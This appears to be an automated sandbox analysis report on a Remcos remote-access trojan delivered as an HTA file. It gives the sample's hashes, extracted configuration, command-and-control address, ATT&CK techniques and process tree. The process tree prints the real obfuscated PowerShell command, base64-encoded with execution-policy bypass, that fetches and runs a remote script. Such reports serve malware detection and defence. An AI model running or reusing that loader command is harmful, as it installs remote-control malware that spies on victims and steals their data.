remcos | 605efa221edac80f0c08c5688591505f1250c458d5ede95306eec7f25010b43b

Analysis

max time kernel
149s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
11/11/2026, 14:22

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General

Target
swissnet.hta
Size 15KB
Sample261111-rpmmlaaa39
SHA256 605efa221edac80f0c08c5688591505f1250c458d5ede95306eec7f25010b43b
MD5 68f9cc0cefe0d606bc600f68375ef5e4
SHA1 30050f19542097411d0f39f89cf4a088b2be7dad
SHA512 baed61734aec5ec9b5f5954550e1db04befea28cdfb507117ff6dd7a77d90cbb4904dcba1bd51b0776b01d4ee1a95fb90cd9ddd75079ccd0d2600469c50ecbdf
SSDEEP 96:WO9TO5LO9TZ5O7tmXE/5O9TWO9Twp5WO9Ti+:WOtO5LOtZ5O7s0/5OtWOtwp5WOt9
TLSH
T13D62213CE5D0EFD14BD3A394184EB913949C1B1FA640EA4CB4DC02A397076319937487
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

promax collection discovery execution remcos rat

Malware Config

Extracted

Family

remcos

Version

7.3.1 Pro

Botnet

promax

45.141.148.72:14560

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-4XUSYF
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Family: Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
10	1772	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Control Panel\International\Geo\Nation	mshta.exe

Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe
Key enumerated	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe

ConfuserEx .NET packer 1 IoCs

Detects ConfuserEx .NET packer.

resource	yara_rule
behavioral1/memory/1772-25-0x00000000071F0000-0x0000000007204000-memory.dmp	ConfuserEx

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1772 set thread context of 6116	1772	powershell.exe	95

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5588	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 32 IoCs

pid	Process
1772	powershell.exe
1772	powershell.exe
1772	powershell.exe
1772	powershell.exe
1772	powershell.exe
1772	powershell.exe
1772	powershell.exe
1772	powershell.exe
1772	powershell.exe
1772	powershell.exe
1772	powershell.exe
1772	powershell.exe
1772	powershell.exe
1772	powershell.exe
1772	powershell.exe
1772	powershell.exe
1772	powershell.exe
1772	powershell.exe
1772	powershell.exe
1772	powershell.exe
1772	powershell.exe
1772	powershell.exe
1772	powershell.exe
1772	powershell.exe
1772	powershell.exe
1772	powershell.exe
1772	powershell.exe
1772	powershell.exe
1772	powershell.exe
1772	powershell.exe
1772	powershell.exe
1772	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1772	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2552 wrote to memory of 5588	2552	mshta.exe	86
PID 5588 wrote to memory of 1772	5588	cmd.exe	88
PID 1772 wrote to memory of 4484	1772	powershell.exe	94
PID 1772 wrote to memory of 6116	1772	powershell.exe	95
PID 1772 wrote to memory of 6116	1772	powershell.exe	95
PID 1772 wrote to memory of 6116	1772	powershell.exe	95
PID 1772 wrote to memory of 6116	1772	powershell.exe	95
PID 1772 wrote to memory of 6116	1772	powershell.exe	95
PID 1772 wrote to memory of 6116	1772	powershell.exe	95
PID 1772 wrote to memory of 6116	1772	powershell.exe	95

outlook_office_path 1 IoCs

description	ioc	Process
Key enumerated	\REGISTRY\USER\S-1-5-21-681733028-2344970462-962213935-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook	aspnet_compiler.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\swissnet.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2552
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" "/c poWERsHElL.EXe -ex bYpaSs -NoP -W 1 -EC IAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABXAGcAZQBUACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAB0gaAB0AHQAcAA6AC8ALwAyADAANAAuADQANAAuADkAMwAuADgAMQAvADEANQAvAHMAZQBjAHUAcgBlAGQAXwBzAHQAdQBiAC4AcABzADEAHSAgAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAtAG8AdQB0AGYAaQBsAGUAIAAgACAACQAJACAACQAJACAAIAAgACAAIAAJAB0gJABlAE4AdgA6AFAAdQBiAEwASQBjAFwAaQBwAGEAZABzAC4AcABzADEAHSAgAAkACQAgAAkAIAAgAAkACQAgAAkAIAAJACAAIAAJAAkAIAAJAAkAIAA7ACAAIAAgACAAIAAmACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAB0gJABFAE4AdgA6AFAAdQBCAEwAaQBjAFwAaQBwAGEAZABzAC4AcABzADEAHSA= "
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5588
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    poWERsHElL.EXe -ex bYpaSs -NoP -W 1 -EC IAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABXAGcAZQBUACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAB0gaAB0AHQAcAA6AC8ALwAyADAANAAuADQANAAuADkAMwAuADgAMQAvADEANQAvAHMAZQBjAHUAcgBlAGQAXwBzAHQAdQBiAC4AcABzADEAHSAgAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAtAG8AdQB0AGYAaQBsAGUAIAAgACAACQAJACAACQAJACAAIAAgACAAIAAJAB0gJABlAE4AdgA6AFAAdQBiAEwASQBjAFwAaQBwAGEAZABzAC4AcABzADEAHSAgAAkACQAgAAkAIAAgAAkACQAgAAkAIAAJACAAIAAJAAkAIAAJAAkAIAA7ACAAIAAgACAAIAAmACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAB0gJABFAE4AdgA6AFAAdQBCAEwAaQBjAFwAaQBwAGEAZABzAC4AcABzADEAHSA= "
    3⤵
    - Badlisted process makes network request
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1772
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
      4⤵
      PID:4484
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
      4⤵
      Accesses Microsoft Outlook profiles
      outlook_office_path
      PID:6116

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

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Downloads

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account.tmp
Size 40KB
SHA256 06aeb2f9c1ee642348c091fb27541c143545354c273055ce30832e0f61aedf81
MD5 ba979c77c714b67908bc582ec373c723
SHA1 ff6b59b47b8d3ad488eaa7a4b0040a9a93eb19fe
SHA512 fc6b860dcb9e00c6ab7aa72555fb17921bbb8b1276acf0ab5fcb20b5f2dbd4bf71946c5c4fcfc46310f8de29491a63e46d43805070d19f290070f60077f80b01
SSDEEP 96:wDaCn8MouB6w9fUP8iZqmvJKLPeymwil:wDaG7Iw9f/iSi
TLSH
T16103440F2E682801C8B94632BCF124E62E7DA03E4F13EED12CB504659D75C52B52E5EF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_ghotcrar.k2v.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ghotcrar.k2v.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/1772-16-0x0000000005B50000-0x0000000005B9C000-memory.dmp

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memory/1772-24-0x0000000002520000-0x0000000002530000-memory.dmp

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memory/1772-4-0x0000000004B60000-0x0000000004B82000-memory.dmp

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memory/1772-5-0x0000000005450000-0x00000000054B6000-memory.dmp

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memory/1772-2-0x0000000002520000-0x0000000002530000-memory.dmp

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memory/1772-6-0x00000000054C0000-0x0000000005526000-memory.dmp

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memory/1772-14-0x00000000056A0000-0x00000000059F4000-memory.dmp

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memory/1772-15-0x0000000005B10000-0x0000000005B2E000-memory.dmp

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memory/1772-0-0x0000000002520000-0x0000000002530000-memory.dmp

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memory/1772-17-0x0000000007390000-0x0000000007A0A000-memory.dmp

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memory/1772-18-0x0000000006020000-0x000000000603A000-memory.dmp

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memory/1772-21-0x0000000007240000-0x00000000072D6000-memory.dmp

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memory/1772-22-0x0000000007150000-0x0000000007172000-memory.dmp

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memory/1772-23-0x000000000DFC0000-0x000000000E564000-memory.dmp

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memory/1772-1-0x0000000002530000-0x0000000002566000-memory.dmp

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memory/1772-25-0x00000000071F0000-0x0000000007204000-memory.dmp

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memory/1772-26-0x0000000007200000-0x0000000007206000-memory.dmp

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memory/1772-31-0x0000000002520000-0x0000000002530000-memory.dmp

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memory/1772-3-0x0000000004CB0000-0x00000000052D8000-memory.dmp

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memory/6116-46-0x0000000000400000-0x0000000000490000-memory.dmp

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memory/6116-38-0x0000000010000000-0x00000000100F7000-memory.dmp

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memory/6116-27-0x0000000000400000-0x0000000000490000-memory.dmp

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memory/6116-32-0x0000000000400000-0x0000000000490000-memory.dmp

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memory/6116-33-0x0000000000400000-0x0000000000490000-memory.dmp

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memory/6116-34-0x0000000000400000-0x0000000000490000-memory.dmp

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memory/6116-30-0x0000000000400000-0x0000000000490000-memory.dmp

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memory/6116-39-0x0000000010000000-0x00000000100F7000-memory.dmp

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memory/6116-48-0x0000000000400000-0x0000000000490000-memory.dmp

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memory/6116-28-0x0000000000400000-0x0000000000490000-memory.dmp

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memory/6116-35-0x0000000010000000-0x00000000100F7000-memory.dmp

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memory/6116-49-0x0000000000400000-0x0000000000490000-memory.dmp

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memory/6116-29-0x0000000000400000-0x0000000000490000-memory.dmp

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memory/6116-50-0x0000000000400000-0x0000000000490000-memory.dmp

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memory/6116-51-0x0000000000400000-0x0000000000490000-memory.dmp

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memory/6116-52-0x0000000000400000-0x0000000000490000-memory.dmp

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memory/6116-53-0x0000000000400000-0x0000000000490000-memory.dmp

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memory/6116-55-0x0000000000400000-0x0000000000490000-memory.dmp

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memory/6116-54-0x0000000000400000-0x0000000000490000-memory.dmp

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memory/6116-56-0x0000000000400000-0x0000000000490000-memory.dmp

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memory/6116-57-0x0000000000400000-0x0000000000490000-memory.dmp

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